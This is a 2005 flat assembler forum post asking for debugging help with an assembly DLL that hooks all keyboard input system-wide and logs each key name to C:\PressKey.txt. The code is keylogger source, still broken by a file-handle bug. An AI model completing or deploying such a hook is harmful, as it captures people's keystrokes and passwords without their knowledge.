flat assembler
Message board for the users of flat assembler.

Index > Windows > Trouble in keyboard grabber`s KeyboardProc procedure

Author
Thread Post new topic Reply to topic
jentos



Joined: 30 Mar 2004
Posts: 8
Location: Russia
jentos 01 Jun 2005, 13:24
Hi!
I try to write keyboard grabber, but in DLL in KeyboardProc when I write name of pressed key in file I got error - "Invalid handle", in other word function "WriteFile" in KeyboardProc procedure don`t get correct handle of earlier created file (as I think :) ). But, strangest thing :), when I look on this values on debugger, the value returned CreateFile the same as value sent as a handle of file in WriteFile!
Code:
include '%include%\win32axdll.inc'
section '.data' data readable writeable shareable
hInstance       dd ?
hFile           dd ?
bsave           dd ?
hHook           dd ?
;-------------------------------------------------------
;-------------------------------------------------------
section '.code' code readable executable shareable
;-------------------------------------------------------
;-------------------------------------------------------
start:
proc DllEntryPoint,hinstDLL,fdwReason,lpvReserved
             enter
             push     [hinstDLL]
             pop      [hInstance]
             mov      eax,TRUE
             return
;-------------------------------------------------------
; VOID  InstallHook(DWORD hwnd);
proc         InstalMyHook,hwnd         ; Create file for write pressed keys & SetKbdHook
             enter

             invoke    CreateFile,"C:\PressKey.txt",GENERIC_WRITE,FILE_SHARE_READ+FILE_SHARE_WRITE,0,OPEN_ALWAYS,0,0
             cmp       eax,-1
             jz        error
             mov       [hFile],eax

             invoke    SetWindowsHookEx,WH_KEYBOARD,KeyboardProc,[hInstance],0
             or         eax,eax
             jz         error
             mov       [hHook],eax

             return
;-------------------------------------------------------
; VOID  KeyboardProc(DWORD nCode, DWORD wParam, DWORD lParam);
proc         KeyboardProc, nCode, wParam, lParam
             KeyName    rb 20
             KeyLen     dd ?

             enter
             pusha
             invoke     CallNextHookEx,[hHook],[nCode],[wParam],[lParam]
             cmp        [nCode],HC_ACTION
             jnz        KeyboardProcExit
             mov        eax,[lParam]
             shr        eax,16
             and        eax,KF_UP
             jnz        KeyboardProcExit
             lea        eax,[KeyName]
             invoke     GetKeyNameText,[lParam],eax,20
             or         eax,eax
             jz         KeyboardProcExit
             mov        [KeyLen],eax

             call       [GetForegroundWindow]    ; You can see name
             lea        ebx,[KeyName]            ; of pressed key in
             invoke     SetWindowText,eax,ebx    ; title bar foreground window

             invoke     WriteFile,[hFile],ebx,[KeyLen],bsave,0
             or         eax,eax
             jz         error     ;And "appears" error - "Invalid handle"
                                  ;I suppose for CallNextHookEx hHook must be invalid too.
             popa
             xor        eax,eax    ; NULL for pass message to target window
             return
KeyboardProcExit:
             popa
             xor        eax,eax    ; NULL for pass message to target window
             return
;-------------------------------------------------------
; VOID UninstallHook();
proc         UninstalMyHook         ; Uninstall kbd hook & close file
             enter                  ; in this section all work properly
             invoke   UnhookWindowsHookEx,[hHook]
             or       eax,eax
             jz       error
             invoke   CloseHandle,[hFile]
             or       eax,eax
             jz       error
             return
;-------------------------------------------------------
;-------------------------------------------------------
;-------------------------------------------------------
error:      ; invoke MessageBox,0,"Error",0,0   ;- if Windows other 95/98 you maybe can`t see system message about int 3.
             call [GetLastError]
             int 3
.end start
;-------------------------------------------------------
;-------------------------------------------------------
;-------------------------------------------------------
section '.edata' export data readable
  ; functions have to be sorted alphabetically
  export 'MyDll.DLL',\
         InstalMyHook,'InstalMyHook',\
         KeyboardProc,'KeyboardProc',\
         UninstalMyHook ,'UninstalMyHook'
section '.reloc' fixups data discardable    
[/code]


Description:
Download
Filename: For KbdGrabber.zip
Filesize: 3.16 KB
Downloaded: 227 Time(s)

Post 01 Jun 2005, 13:24
View user's profile Send private message Reply with quote
Display posts from previous:
Post new topic Reply to topic

Jump to:  


< Last Thread | Next Thread >
Forum Rules:
You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot vote in polls in this forum
You cannot attach files in this forum
You can download files in this forum


Copyright © 1999-2024, Tomasz Grysztar. Also on GitHub, YouTube.

Website powered by rwasa.